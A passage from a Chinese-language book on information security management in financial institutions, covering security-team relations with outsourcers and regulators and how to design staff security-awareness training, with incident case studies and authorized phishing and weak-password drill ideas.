信息安全工作是“后台中的后台”,与业务打交道的时候往往就是在“Say no”的时候,或者是主动出击 对业务进行数据安全检查、培训教育、病毒防治等场合。所以业务人员对信息安全人员的感觉很可能 是“见到就知道没有好事”。信息安全人员需要摆正心态,向业务人员耐心解释自己工作的出发点和价 值。同时需要多学习一些业务知识和业务相关的监管要求,把握住“业务风险”和“科技风险”的边界,属于 业务风险性质的决策权交还给业务部门,不要越界干涉,做出“吃力不讨好”的事情。 (5)安全与外包 外包风险是金融企业信息科技风险的重要组成部分之一,信息安全人员经常需要对外包风险进行检 查和评估。对于外包人员的管理相对金融机构内部人员来说更难一些,因为没有绩效考核、薪酬奖惩的 权利,而且外包人员流动性相对较大,外包风险的处置很可能治标不治本。 信息安全人员需要形成常态化的外包培训机制,经常性、分批次地对外包人员进行信息安全意识教 育;对于外包团队的负责人要先开展教育,提高安全意识水平;在合同中增加条款形成法律性的约束, 要求现场人员个人签署保密协议;日常检查频度需要提高,最好每月开展外包检查,确保工作长效机制 的建立。 (6)安全与监管 金融机构的信息安全团队通常是信息科技部门与监管沟通的“窗口”,一定要掌握好与监管沟通的频 率和方式方法。要建立定期沟通报告的机制,多参与监管组织的活动(例如培训、会议、课题研究 等),平常就“多露脸”,使监管能了解本企业信息科技工作的亮点,不能等到出事了才第一次被监管感 觉到“你的存在”。 针对本企业已知的风险,也需要根据实际情况适当向监管提前报备,同时提供自己的解决方案和整 改计划,可以考虑向监管请教同业的实现方式,请他们直接指点,或者创建同业交流的平台,或者安排 与相关领域先进同业直接的学习机会,这样就能争取到监管的帮助、支持和理解,减少“意外惊喜”的发 生。 不管是与哪一类团队的沟通,信息安全团队都切忌把自己当作局外人,而应设身处地地站在对方角 度考虑问题,把发现问题当作双方的目标而非仅仅信息安全团队的绩效,把问题整改当作双方必须共同 达成的任务而非仅仅其他团队单方面的工作。这样方可建立良性的沟通机制,从而使得信息安全工作机 制得以有效运转。 5.9 小结 本章从信息安全团队建设的“痛点”出发,详细介绍信息安全团队文化建设、意识建设、能力建设、 实现步骤、绩效体系建设等,探讨了信息安全从业人员的职业规划路径以及与其他团队的关系处理技 巧,可以作为安全团队建设的参考。 第6章 安全培训 随着信息安全技术的蓬勃发展,各个厂家推出了很多功能齐全的产品,金融企业也热衷于使用技术 产品来进行防护,但是“技防”永远无法完全取代“人防”的作用,往往花费大量经费建设了很多系统,很大 程度上抵挡了从企业外部发起的安全攻击,但对于因内部人员安全意识薄弱而导致的有意或无意的信息 泄密,却很难完全避免,所以需要在严格的管理流程、严密的技术控制基础上,形成体系化的安全培训 机制,提升内部人员的安全意识水平,才能达到综合化、一体化的防范效果。 6.1 安全培训的问题与“痛点” 安全意识就是“对风险的感知和主动规避”。在个人信息安全意识方面,企业员工普遍有一种“迷之自 信”,就像90%的司机都认为自己的驾驶水平高于平均水平一样。但实际上,企业员工的安全意识水平与 企业的真实需要之间,往往存在着巨大的鸿沟。 6.1.1 信息安全意识不足的真实案例 我们来看几个因为信息安全意识不足,导致金融企业直接损失或面临重大声誉风险的真实案例。 1.多家商业银行客户信息泄露事件 2012年央视3·15晚会,曝光了一家大型商业银行、一家全国性股份制银行的内部员工,通过中介向外 兜售客户个人信息将近3000份,造成3000多万元经济损失的严重事件,对银行的声誉也造成了严重的负 面影响。 从表面上看,是商业银行内部员工直接获取客户资料并用于牟利。但究其原因,是商业银行对客户 敏感信息的管控要求松懈,员工保密意识、法律意识淡薄。此外,商业银行的数据保密措施及要求存在 漏洞,内部员工可以获取大量的客户敏感信息,容易造成有意识(贩卖数据)或无意识(未做好数据保 密措施导致数据丢失)的保密信息泄露事件发生。 2.某金融机构密钥遗失事件 某年某月,某金融机构工作人员因管理疏忽,不慎遗失了一份本机构交易系统的密钥,如不法分子 拿到该密钥,即可截获破解所有交易信息和客户交易密码,给客户造成重大损失。该机构领导接到报告 后,立即指示启动密钥更换工作并在最短的时间内完成,避免了客户资金损失;业务风险防范预案也相 应启动,避免了因客户资金损失投诉、媒体舆情报道等带来的声誉风险。 虽然该事件最终没有造成实质性的损失,但潜在的风险隐患和内部付出的管理成本是巨大的。 3.远程办公导致的客户信息泄露 2014年,总部位于美国的某全球知名银行,其高级管理人员为方便工作,开通在家VPN访问内部敏 感数据的权限。黑客在攻击该银行的过程中发现该情况并马上在该高级管理人员的家用电脑上植入木 马。通过遥控该木马,黑客实现“青蛙跳”进入银行内网,成功窃取了1.4亿个客户的信息,给该银行造成 了巨大的损失。 4.钓鱼邮件导致业务瘫痪 2013年,韩国某银行的某员工误打开一封黑客钓鱼邮件并被植入木马,因该行并未限制办公电脑对 互联网络的访问,黑客立刻远程遥控该员工电脑并相继攻破部分客户服务系统,在获取海量客户数据后 格式化大部分服务器硬盘,造成该行业务完全瘫痪。 5.冒充OA管理员的钓鱼邮件泄露用户名和密码 2014年,某金融企业的部分员工收到了一封来自“Admin”发出的邮件,自称是OA系统的管理员,因 为系统升级,需要大家修改用户名和密码,邮件中同时附上了一个网页链接,点击进去后出现用户名、 原密码、新密码的输入框。由于该金融企业采用域用户单点登录OA系统和其他内部信息系统,所以该事 件造成了几十个客户的域用户名和密码泄露,也就意味着伪装成OA系统管理员的攻击者获取了几十个员 工的域用户名和密码,可以登录桌面终端和几乎所有的内部应用系统。幸好该事件在半天内被发现,该 金融机构信息技术部门迅速采取行动,通知所有登录过该链接的员工主动修改密码,阻止了后续攻击事 件,避免给企业造成实质性损失。 6.某金融机构财务总监被勒索事件 2016年,某金融企业信息科技部门突然收到财务总监(CFO)的电话,其办公电脑突然变成蓝屏, 上面有一些英文提示,大意是该电脑中的所有资料已经被加密,需要在五天之内向某国外银行账号缴纳 大约相当于人民币6000元的赎金,就可以拿到解密的密钥。 后来查明,该财务总监曾收到过一封标题类似“应收账款”的邮件,以为是供应商催款,但在点击执 行附件后,屏幕就不幸中招了。由于缴纳赎金后是否能解决问题尚且是个未知数,该财务总监只好忍痛 割爱,让科技人员重装了电脑操作系统,该电脑上所有的历史资料全部丢失。 上面几个案例,都是金融企业员工信息安全意识不足导致的教训,也说明提升员工信息安全意识, 减少信息安全事件的发生,对于金融企业来说多么重要。 6.1.2 信息安全培训的必要性 金融行业是直接面向客户且直接与金钱打交道的行业,金融行业员工信息安全意识水平的高低,直 接影响信息安全工作的成败,对客户信息和客户资金的安全至关重要。通过信息安全培训提高金融企业 员工的信息安全意识水平,将全员信息安全意识的点滴提升作用到具体的工作中,可以成倍地放大信息 安全工作的效果。具体来说,金融企业信息安全培训的必要性体现在三方面。 1.金融企业涉及信息的敏感性极高 金融企业是面向广大客户提供金融服务的行业,涉及的信息主要包括: ·与客户相关的信息,主要包括客户基本信息、客户账户信息以及客户交易信息等。这几类信息都涉 及广大客户的个人利益和资金安全,互相之间环环相扣,任何一类信息的泄露,都可能对客户的资金安 全造成威胁并对金融企业的声誉构成风险,严重的甚至会造成金融秩序混乱、经营活动无法正常开展。 因此客户信息的保护成为金融机构信息安全管理工作的重中之重。 ·金融企业经营管理活动相关的内部信息,包括战略规划信息、金融产品信息、经营活动信息及相关 的报表报告等。这些信息代表了金融企业工作的发展战略、管理政策和营销策略等,能为企业带来经济 利益,如果泄露,可能直接或间接影响企业的商业利益,造成金融企业的严重经济损失或经营风险。 金融企业的从业人员,或多或少都会直接或间接地接触到上述内外部敏感信息。大多数信息安全事 件的发生都源自于员工主动或被动地泄露信息,员工信息安全意识的提升可以极大地减少安全事件中的 内部人为因素,因此金融企业对于信息安全培训必须尤为重视,每位从业人员都需要认真学习、理解、 执行信息安全管理规范,提升自身的安全意识,方能切实有效地保护金融企业的客户信息和内部信息。 2.金融企业信息安全的核心问题是人的安全意识 决定一个企业信息安全防护效果的,归根结底还是在于人,人是信息安全中最核心的问题之一。任 何的安全管理体系、安全技术、安全产品或服务,都无法保证每一个人远离每一种可能存在的安全风 险。因为无论多么严密的管理体系,多么先进的设备,多么严谨的系统,多么完备的数据,如果普通员 工的信息安全意识不足,专业人员的信息安全技能不足,都会导致管理流于形式,设备形同虚设,数据 空中楼阁。 试想,一个严密的金融机构数据中心机房访问控制系统,如果门口保安无视规则、玩忽职守,随意 放人进出,那么再多的安检、门禁、指纹或人脸识别等身份鉴别手段,又有何用?部署最先进的网络安 全设备,如果不定期更新安全策略和规则库,不严格对服务器或者终端打上最新的补丁,黑客们岂不是 仍然可以“如入无人之境”?再者,花大价钱部署了最佳的桌面安全防护系统,但员工点击了一个钓鱼网 站,主动或被动对外发送他们认为无关紧要、实则非常重要而敏感的信息,一切都将功亏一篑。 上述种种情形,都将会给企业带来不可估量的损失。特别是对将信息流和资金流视为命脉的金融企 业来说,如果信息安全专业能力不到位,信息安全意识不匹配,客户信息的安全、资金的直接损失,可 能是时刻面临的威胁。 因此,员工信息安全意识水平的高低,直接决定了信息安全总体防护水平和信息安全管理工作的成 败。通过提升各级员工和外部用户的信息安全意识,让安全专业人员掌握必要的技能,让普通员工养成 安全习惯,让外部用户建立自我保护意识,是面对安全威胁的最佳方式。而要达到该目的,就需要在整 个金融企业内树立信息安全意识,对各类人员建立针对性的信息安全培训方案,才能提高金融企业的整 体信息安全防控水平。 3.金融企业信息安全意识仍然普遍较为薄弱 根据信息安全研究机构的统计,在所有企业的信息安全事故中,只有20%~30%是因为黑客入侵或其 他外部原因造成的,70%~80%是由于内部员工的疏忽或有意泄露造成的。 另外,国内一家信息安全专业咨询机构曾经对国内企业员工信息安全意识进行了一项调查,选取了 一些基本的信息安全要求对企业员工进行问卷调查,结果如下: ·37.4%的受访者会直接或者简单询问后就让尾随的外部人员直接进入办公场所。 ·36.6%的受访者会在办公桌面放密级资料。33%的受访者会在电脑桌面存放密级资料。 ·56.8%的受访者采取的是不锁抽屉、不锁抽屉钥匙放在抽屉里、锁抽屉但钥匙放在桌上或笔筒等地 方这些不安全的抽屉物品保管行为。 ·接近50%的受访者选择不安全的设置电脑屏保、密码方式。选择数字+字母+符号+大小写这种相对最 为完全的口令/密码设置规则的人所占比例仅为25.4%。 ·当收到熟人发送的自动播放flash动画或邮件内部嵌入的网页时,59.2%的人会看动画、下载动画、浏 览网页或点击网页链接。 从以上调查结果可以看出,超过一半以上的企业员工对基本的信息安全要求没有形成相应的意识和 行动,企业信息安全工作面临着极大的风险隐患。 虽然没有专门针对金融企业员工信息安全意识调查的具体数据,但从近几年金融企业客户信息泄 露、信息安全攻击事件时有发生的现象来看,金融企业的信息安全意识现状也是不容乐观的。 随着金融企业对信息安全的日益重视,大部分金融企业已经投入大量的资金购买安全技术,投入较 为充足的人力用于安全管理体系建设,但是,在人员信息安全培训上却投入甚少,往往忽略了人是信息 安全管理的最大威胁,人的安全意识薄弱是信息安全管理的最短板。随着业务迅猛发展,金融企业面临 的信息安全风险压力越来越大,必须在信息安全培训上加大投入,提升全体员工的安全意识,才可以更 好地化解风险。 6.1.3 信息安全培训的“痛点” 随着各类信息安全事件的爆发,金融企业信息安全培训的重要性已经越来越得到重视,部分金融企 业开始着手信息安全培训工作,但目前仍存在一些“痛点”。 ·未建立系统化的信息安全培训体系。大部分金融企业的信息安全培训仍是零散的、随需而做的,尚 未形成整体的、有机的、立体的信息安全培训规划,缺乏系统化的信息安全培训体系。 ·培训针对性不足,培训内容不接地气。大部分金融企业信息安全培训需求分析不到位,经常是一套 培训材料就“放之四海而皆准”,不能根据培训对象面临的常见问题和岗位特点定制培训内容,导致培训 内容针对性不足,经常不接地气,员工往往“知其然而不知其所以然”,对日常工作不能起到直接的、实 质性的帮助,培训工作因此变成了为培训而培训。 ·培训形式单一,内容枯燥,素材匮乏,资源不足。大部分金融机构采用单一的课堂教学方式培训, 缺乏日常碎片式、体验式的素材。枯燥的培训方式自然效果不佳,因此需要创新培训形式,激发员工的 兴趣和自主性,促进员工利用碎片化时间主动学习。 ·培训参与度不高。大部分金融企业的员工都非常忙碌,如果不能正确认识到信息安全培训对他们工 作的帮助作用,占用正常工作时间的信息安全培训往往变成了迫于无奈、枯燥无味的“工作任务”,培训 过程就成了应付式的参与,能不参加就不参加,即使参加了也是“身在曹营心在汉”,导致培训效果大打 折扣。 ·未建立培训效果的考核机制。大部分金融企业的信息安全培训仅仅有个调查问卷或者随堂测验,未 建立起有效的量化考核机制。对于培训内容是否得到执行,安全意识是否有提升,是否作用到金融机构 员工的日常工作中,都没有衡量机制。因此需要通过一些技术手段、检查手段、考核机制来促进培训内 容的落地执行。 解决上述“痛点”,需要对症下药、因材施教,形成一套覆盖全面、形式多样的信息安全培训体系。 可以参考以下步骤实施: 1)确定培训关联方,一方面明确培训对象及核心诉求,另一方面选择合适的培训师资力量。 2)确定培训内容、培训方式和培训时机。 3)建立系统化、岗位针对性强的信息安全培训体系,形成面向对象的信息安全培训矩阵。 4)建立培训效果衡量和考核体系,根据结果优化改进培训体系,形成螺旋上升的长效机制。 6.2 信息安全培训关联方 一个行之有效的培训体系,首先需要安排好培训的双方,一方面是培训的接收方(即培训对象), 要清晰地了解不同培训对象的诉求并明确培训主题和培训重点;另一方面是培训的授予方(即培训老 师),要针对不同的培训对象和培训主题合理地安排培训老师,方能起到良好的效果。 1.培训对象及核心诉求 金融企业的高管、中层管理者、业务部门工作人员、信息科技人员、行政综合人员等,这些不同工 作岗位的人员,由于工作职责、岗位能力要求有差异,接触的信息重要性和面临的风险状况不同,需要 的信息安全知识和信息安全培训的侧重点也是不同的。针对不同岗位定制不同的信息安全知识和能力培 训方案,将有效地降低工作中蕴含的风险隐患。 (1)金融企业高管 金融企业高管应该首当其冲地成为信息安全培训受众。原因主要有两方面:一是金融企业高管接触 的信息面广、层次高、敏感信息多,而由于工作忙碌往往容易造成对信息保密的疏忽,因此常常成为“性 价比最高”的重点攻击对象;二是金融企业高管接受信息安全意识培训,可以对全员信息安全意识提升起 到表率作用,带动全员重视信息安全、尊重信息安全的氛围。 金融企业高管的信息安全培训,重点应该放在信息安全战略和信息安全意识宣导方面,应该帮助高 管了解金融企业信息安全战略方向、信息安全相关法律法规、主要的信息科技监管要求和监管趋势、金 融科技时代下信息安全新形势和管理新特点、信息安全组织架构、金融企业信息安全的特性、需要保护 的主要信息类别和分布情况、主要的风险事件案例等,为金融企业内部推行各类信息安全和风险控制措 施奠定基础。 (2)中层管理者 金融企业的中层管理人员,是“承上启下”地执行战略和政策的中坚力量,如果对信息安全理解到 位,既可以很好地贯彻执行企业的信息安全战略,也可以带动基层员工们主动落实信息安全防护措施, 监督措施执行到位。 中层管理人员的信息安全培训,应侧重于信息安全基本概念、信息安全相关法律法规、信息科技监 管要求及趋势、信息安全管理体系、主要的风险事件案例、业界最新风险防控思路及措施等方面,使他 们理解什么是信息安全,为什么要重视信息安全,本人管辖领域内哪些工作会涉及信息安全,以及怎样 做好信息安全风险防控。 (3)所有部门基层员工 基层员工是直接从事信息采集、传输、使用的人员,是信息安全政策和具体措施的执行者。由于基 层员工数量众多、接触的具体信息丰富,很容易被打开突破口,成为最容易泄密的群体。 基层员工的信息安全培训,应侧重于银行信息安全相关的制度和流程的具体内容、与信息安全行为 相关的法律法规、敏感信息保护要求、敏感信息泄露行为导致的不良后果和真实案例、违规处罚措施、 基本的信息安全操作技能和防护手段等方面,目的是帮助基层员工树立信息安全保护的理念,提高合规 操作和风险防范的意识,掌握具体的信息安全风险防控技能,降低因员工工作疏忽、操作不规范或有意 泄露而造成的威胁。 (4)信息科技员工 信息科技部门的员工,是信息安全政策落地的核心力量,更是信息安全管理和技术措施的直接执行 者和捍卫者。这个团队的信息安全水平,在很大程度上影响了金融企业的信息安全整体水平。 信息科技部门各个不同团队的信息安全培训,有不同的侧重点: ·对于开发测试人员,应侧重于企业信息安全政策和制度、监管和行业组织发布的应用安全相关技术 规范、密码技术和应用、需求分析安全要求、设计安全要求、编码安全要求、安全测试要求,代码审计 相关知识,以及系统和应用安全常见漏洞的原理、现象、漏洞扫描等发现方法、扫描结果评估方法和安 全防范措施等。 ·对于运维人员,应侧重于企业信息安全政策和制度、监管和行业组织的信息系统运维相关技术规 范、机房安全、网络安全、主机及系统安全、终端安全、信息安全技术工具、故障应急、业务连续性 等。 ·对于信息安全岗员工,是信息安全培训体系的制订者和维护者,一方面应该掌握设计信息安全培训 体系的方法,另一方面应接受有关监管趋势及要求、风险评估、安全检查知识和技能、信息安全技术工 具的策略和操作技能等方面的培训。 (5)外包人员 金融企业存在大量的外包工作,出于成本节约和人员编制的考虑,一方面,业务部门需要将后台集 中作业流程、借记卡和信用卡申请资料录入、催收和外呼等附加值较低的工作外包给成本较低的专业团 队执行;另一方面,科技部门有大量的开发任务需要外包给科技公司完成,个别金融企业还会将部分运 维工作外包。外包人员可能接触到金融企业的客户信息、系统开发和设计文档等大量的敏感信息,需要 接受信息安全培训。 外包人员的信息安全培训,应侧重于金融企业外包制度和流程的具体内容、金融企业信息的分类和 信息安全保护具体要求、与信息安全行为相关的法律法规、泄密行为导致的不良后果和真实案例等方 面,使外包人员树立信息安全保护意识,了解信息安全行为失当导致的严重后果,提高日常工作的合规 性,产生对信息安全的“敬畏之心”。 (6)外部用户 大量的事实表明,很多的风险案例是由于客户对个人客户信息(例如用户名和密码等敏感信息)保 管不当、误安装病毒木马软件、误点击钓鱼邮件等原因造成的。因此,加强对客户及其他外部用户的信 息安全意识教育和宣传培训,显得极其重要。 外部用户的信息安全培训,应侧重于具体的案例说明、主要的诈骗手段拆解、简明扼要的信息安全 宣传标语等,甚至可以通过短视频、安全段子等生动活泼、通俗易懂的方式,让客户对信息安全保护相 关内容印象深刻,引以为鉴。 综上所述: ·一个信息安全意识强的金融企业高管,可以带来更好的对内信息安全政策,对外更谨慎的信息披 露。 ·一个信息安全意识强的中层管理者,可以承上启下地做好信息安全防控措施的落地执行。 ·一个信息安全意识强的业务人员,可以更好地保护客户信息,需求中的业务风险控制要求会提得更 为充分。 ·一个信息安全意识强的开发人员,可以有意识地对应用系统设计开发更合理的安全控制措施,减少 应用漏洞发生。 ·一个信息安全意识强的外包人员,会在数据处理或系统开发时自觉遵守金融企业的安全要求,不越 权操作或泄漏敏感信息。 ·一个信息安全意识强的金融企业客户,会在面临电信诈骗或钓鱼攻击时保持清醒,避免上当和蒙受 损失。 信息安全培训对于金融企业各级员工、外包人员、外部客户的帮助是显而易见的,需要当作一个整 体的培训体系来设计和实施。 2.培训师资 针对不同的培训对象,培训师资的选择也应该有所区别。总体来说,有以下几种培训师资可供选 择。 (1)内部信息安全人员企业内训 针对基层员工和外包人员,由企业内部的信息安全人员开展内训是较好的选择,因为信息安全人员 对于本企业内部的信息安全情况了解最为深入,非常清楚应该保护的信息主要有哪些,对规章制度、主 要风险心中有数,可以结合日常信息安全检查工作中发现的具体风险事件案例,剖析产生风险的原因、 应对措施等,并针对操作性要求进行详细的分析和讲解,做到有的放矢。 (2)外聘讲师开展企业内训 针对企业高管、中层管理者,基于“外来和尚好念经”的原则,以及对监管趋势、同业案例更为了解 的要求,外聘讲师入行培训是一个更优的选择。 在讲师的选择方面,要特别注意讲师的实际信息安全工作经验。纯理论的讲解难以深入人心,必须 理论联系实际,因此最好选择曾经制定过金融行业信息安全标准、在金融企业做过咨询等工作背景的讲 师,才能准确把控监管机构对金融企业和管理者的要求,以及准确选取同业曾经有过“切肤之痛”且跟企 业现状最为匹配的案例。 (3)外出参与团体培训 针对信息科技部门的开发、运维和信息安全人员,适当外出参加团体性的专业类培训不无益处:一 方面,可以开拓眼界,提升自身专业水平,有利于回来转训;另一方面,可以创造机会与同业交流,扩 展自己的知识面和人脉资源。 要保证培训效果,培训机构的选择至关重要。由于金融行业信息安全管控标准普遍高于其他行业, 因此建议选择专门面向金融类从业人员的培训机构,更为了解金融行业的特点、信息安全工作的重点以 及信息科技相关监管要求等,行业内的交流也可以更加深入。 (4)聘请专业组织优化培训材料 针对金融企业的广大客户,只能通过金融企业的分支机构、电子渠道等方式触达客户,因此需要在 金融企业内部人员设计的培训内容及案例的基础上,寻求一些专业的培训设计公司,对培训的形式、内 容进行一定的优化,提高可读性和趣味性,确保客户能够理解培训内容,从而提高客户信息安全意识。 6.3 信息安全培训“百宝箱” 信息安全培训对象、师资力量确定后,就可以针对不同的培训对象,定制差异化的培训内容,利用 不同的培训形式,选择适当的时机开展培训。 1.培训内容 金融企业信息安全培训的内容可以分为专业知识、实用技能、安全意识三大类。考虑到第5章已经详 细地阐述了信息安全专业人士应该掌握的知识和技能,本节重点针对非信息安全专业人士的培训内容进 行分析。 (1)专业知识 对于非信息安全专业人士来说,需要掌握的信息安全知识主要包括: ·法律法规关于信息安全管理的要求。 ·主要的与信息安全相关的监管要求和行业标准。 ·信息安全管理体系的基本概念和管理要点。 ·信息安全规章制度和流程中的重点要求。 ·信息安全的基本定义(CIA三性)、主要内涵、关键风险及对策等。 ·信息的分级分类和每个级别对应的安全管控措施 。 (2)实用技能 对于非信息安全专业人士来说,需要掌握的信息安全实用技能主要包括: ·对于业务人员,需要防钓鱼、防信息泄漏、邮件安全、密码安全、文档保密等基本的防护技能。 ·对于信息科技开发人员,需要安全开发的概念和主要要求。 ·对于信息科技运维人员,需要安全运维的概念和主要要求。 ·对于所有人员,需要信息安全应急管理与业务连续性管理实践技能。 (3)安全意识 与安全意识相关的主要内容包括: ·同业主要信息安全风险事件案例的现象、原因分析和应对措施分析。 ·金融机构最为常见的客户信息泄露、密码泄露、病毒木马、电信诈骗等手段及对应的防范措施。 2.培训需求分析 培训需求分析的目的是,针对培训对象挑选出适当的培训内容,确保培训的效果能够满足企业对员 工信息安全意识水平的要求。培训需求分析是培训的首要和重要环节,如果需求分析做得不到位,可能 导致南辕北辙。 信息安全培训内容包罗万象,不是越全越好,也不是内容越专业越好,所谓“适合的就是最好的”, 所以必须根据培训对象的需求、知识结构、技能状况、当前信息安全意识水平等因素做出合适的选择, 因材施教,方可达到最好的效果。确定培训需求的方式主要有: ·访谈。一方面,可以通过与管理层访谈,获取对培训对象的期望;另一方面,与培训对象的代表访 谈,了解其关于信息安全领域的“痛点”和期望达到的效果。访谈可以设置一些封闭性的和开放性的问题 来开展。 ·培训需求调查问卷。以问卷形式列出一组问题,可以包括封闭性问题和开放性问题,要求调查对象 就问题进行打分、做选择或者给出描述性回答,调查问卷可以全员参与。 ·员工安全意识水平测试。通过一些简单的测试题,或者专业培训机构提供的测试软件,获知培训对 象的信息安全意识水平、主要短板等,从而有针对性地设计培训内容。 培训需求分析结束后,就需要结合当年的培训预算,确定具体的培训内容、培训方式和培训计划。 3.培训形式 金融企业既可以采用现场培训、交流会议、知识竞赛等方式面对面开展培训,也可以采用Elearning 电子学习平台、安全意识动画、电子期刊、宣传海报、桌面温馨提示等多种生动、直观、鲜活的宣传培 训方法,寓教于乐,提升培训效果。还可以采用安全竞赛的方式,提高员工主动参与的积极性。 (1)现场培训 现场培训是最常见的一种集中开展的培训形式,优点是大家精力比较集中,交流较为充分,在主题 的选择上可以更为聚焦,讲解上可以更为深入。以下是两种常见的现场培训方式: ·专题培训。选择几个最重要的信息安全主题,在深度上下功夫,把信息安全知识讲到位、讲透彻。 针对高管层、管理者等对信息安全知识涉及面很广的培训,以及针对开发安全、运维安全等比较有深度 的培训,都适合采用这种方式。 ·交流会议。选择一些实践经验比较丰富的机构,现场做案例讲解,也可以针对金融机构内部的常见 问题,由信息安全团队进行综合分析后讲解。对于金融企业内部涉及多个分支机构、多个部门,面临的 信息安全环境和防护措施具备一定相似性的培训场景,适合采用这种方式。 (2)Elearning在线培训 Elearning在线培训(如图6-1所示),由于3A(Anytime,Anywhere,Anyway,任何时间、任何地 点、多种方式)的特性,因此最适合针对全员的培训。 图6-1 Elearning培训示意 与现场培训不同,Elearning在线培训更适合普及性的、内容相对简短的培训,推荐的方式是选择一 些重要的知识点,用案例的方式生动活泼地表现出来,其中再穿插讲解风险要点、规避措施和管理要 求。例如,可以选择办公安全、客户信息保护、邮件安全、密码安全、文档保密等与所有员工都密切相 关的主题,开展信息安全意识动漫制作及宣传教育,使员工们时刻牢记“安全无小事”,将日常信息安全 行为规范转化为个人习惯,并长期持续地坚持下去。 (3)开办内外部信息安全专栏 信息安全专栏可以向内外部客户提供专业化、有深度的信息安全服务,引起内部员工和外部客户对 信息安全的重视,主动学习各种技巧以防范可能随时面临的风险。主要形式有: ·内部专栏。在内部门户系统或办公自动化系统中开设信息安全专栏(如图6-2所示),随时发布与信 息安全相关的内容,例如,主要的信息安全法律法规要点,国家层面关于网络安全防范的重要战略和指 示精神,监管新动向,新发生的信息安全事件及防范措施等,提供一个方便的渠道以便员工学习和了 解。为了拓展专栏的内容,可以举办征文大赛或者设立特约撰稿人,以保证来稿的数量和质量。 ·外部专栏。在金融企业的微信公众号上,发布与信息安全意识相关的文章、图片、视频等,重点是 向客户宣贯一些与信息安全相关的小案例、风险防范小技巧等。特别是可以结合一些热点新闻(如电信 诈骗事件、网络钓鱼事件、客户信息泄露事件导致资金损失等),深度挖掘并向客户详解事件发生情 况,提供图文并茂的实用防范技巧。所有外部专栏的内容,均可以通过微信群转发内部员工分享。 图6-2 某公司信息安全专栏课程 (4)以赛代训 以赛代训的优点是避免枯燥的、教条主义的灌输和说教,通过竞赛的方式,提高培训对象的参与 度,调动培训对象的热情,从而加深印象。可以考虑的竞赛方式包括: ·合规知识竞赛。针对信息安全知识和技能要求,设计一些形式活泼的考题,例如,判断题、单选 题、多选题、案例题等,通过分组比赛的方式,安排必答题和抢答题等形式,强化员工们对信息安全工 作要求的理解,激发员工对信息安全知识和技能的学习热情,进而提高全体员工的信息安全风险及合规 意识,营造良好的信息安全风险管控和合规工作气氛。 ·信息安全创意作品大赛。通过不限形式的作品征集,鼓励全员参与竞赛,采用征文、摄影、视频、 诗歌、宣传画报、漫画等各种各样的创意形式,表达信息安全意识宣传的主题,从而调动全体员工主动 思考如何开展信息安全风险防范,并用通俗易懂的形式表达出来,往往能产生“高手在民间”的意外惊 喜。最后的奖项设定也可以采用全民投票+专家评定的方式得出,促使全员认真研读参赛作品,无形中接 受了信息安全意识培训,潜移默化地提升了信息安全意识水平。 ·微信游戏比赛。通过在微信中设置一些信息安全小游戏,例如,答题闯关、有奖查漏、双人PK等方 式,使大家在“玩中学、乐中学”,营造大家对信息安全的参与感。 ·CTF攻防大赛。这是针对信息安全专业人员的一种竞赛方式(如图6-3所示)。CTF(Capture The Flag),直译为“夺旗比赛”,源于1996年举办的DEF CON全球黑客大会,该比赛是目前全球最高技术水 平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯”。随着金融企业安全攻防技术的发展,比较有技术 实力和前瞻性的金融机构已经开始自行举办或者参与行业内的一些CTF比赛。比赛规则中设计了漏洞查 找、问题解答、安全加固、相互攻击等模式,采用实战性的方法,可以快速训练和提升信息安全队伍的 专业技能。 图6-3 Facebook Capture The Flag(CTF)(图片来自网络) (5)信息安全实战演练 信息安全实战演练,采用“真演实练”的方式,模拟一些真实的攻击场景,检验员工的信息安全意识 和面对攻击的应对水平。这种“以练代训”的培训方式,可以给员工真实的体验和深刻的教训,因此得到 了越来越多的重视和实际应用。 由于面向全员开展,对于信息安全意识薄弱的员工可能会形成一定的“侵入式”干扰,因此在正式演 练前,需要做一些准备工作:首先,要争取高管层面的支持、认可和授权;其次,应制订详细的演练方 案,并在全员层面做好提前宣贯;再次,选择合适的演练启动方式,第一次最好采用“事先通知”模式, 之后可以逐步试行“突然袭击”模式;最后,选择合适的演练场景。 适合全员信息安全实战演练的场景主要包括: ·钓鱼邮件和病毒木马。可以针对不同对象采用不同的钓鱼邮件内容,例如,冒充系统管理 员“Admin”给全员发邮件要求修改密码,以盗取原账号和密码;冒充合作公司,提交带病毒木马的文档资 料或合作方案;冒充人力资源部员工,以“调薪方案”或“工资明细”等为主题,传播带病毒木马的附件等。 通过分析演练结果,披露被“钓鱼”的员工比例,揭示钓鱼邮件的主要特征、攻击过程和常用手法,提醒 全员警惕钓鱼邮件风险,学习、理解并运用钓鱼邮件的防范手段,防止个人敏感信息泄露和被误导安装 病毒木马。 ·社会工程学方式。除了钓鱼邮件这一常见社会工程学的方式外,还可以采用假冒角色的方式,骗取 敏感信息。例如,冒充上级或同事,向员工索取用户账号和密码;冒充金融企业的高管层向有机会接触 敏感客户信息的员工索要客户信息等。通过这些案例,提醒员工警惕社会工程学攻击,防范“潜伏”在身 边的风险隐患。 ·撞库测试。在互联网上收集一些已泄露的账号密码,在行内系统开展撞库测试,检验行内用户账号 和密码是否与被泄露的结果一致,提醒员工要对密码进行分类设置和管理。 ·弱口令。采用类似员工姓名+生日、“password123”、纯数字等常见的弱口令,测试密码的强度,防 止员工设置弱密码导致的风险。 各项实战演练结束后,应该做一些专题的案例分析,一方面详解攻击原理和过程,另一方面向员工 宣传正确的防范措施,必要时可邀请在演练中“不幸中招”的人现身说法,呼吁大家引以为戒。 (6)信息安全活动宣传周、信息安全活动宣传月 近几年国家网络安全宣传周(如图6-4所示)和各省的网络安全宣传周办得如火如荼,促使金融企 业、广大客户都更加重视信息安全,参与信息安全建设和宣传工作。 在金融企业内部,可以借势开展自己的信息安全宣传工作,也可以组织自己的信息安全活动宣传 月,通过视频、画报、宣传手册、有奖知识问答、微信或微博展示等各种各样的形式,向全行及外部客 户推广、宣传信息安全理念,提升信息安全意识,防范信息安全风险。 (7)无处不在的安全宣传 信息安全意识宣传必须“抬头不见低头见”,方可提高信息安全的“存在感”,起到更好的宣传效果,促 使大家在日常工作中时刻注意信息安全。 图6-4 国家网络安全宣传周 例如,在电梯口的视频电视中持续播放信息安全意识宣传动画,在食堂墙报上张贴信息安全意识的 口诀或者漫画(如图6-5所示),在过道拉起信息安全意识的宣传“易拉宝”,在办公环境中的会议室、文 印室、办公座位,张贴“信息安全温馨提示”,在办公电脑的桌面屏保推送“信息安全宣传口号”或者“信息 安全宣传墙纸”,人手一册发放有安全知识的笔记本等,都是金融企业可以参考的宣传方式。 图6-5 安全小贴士 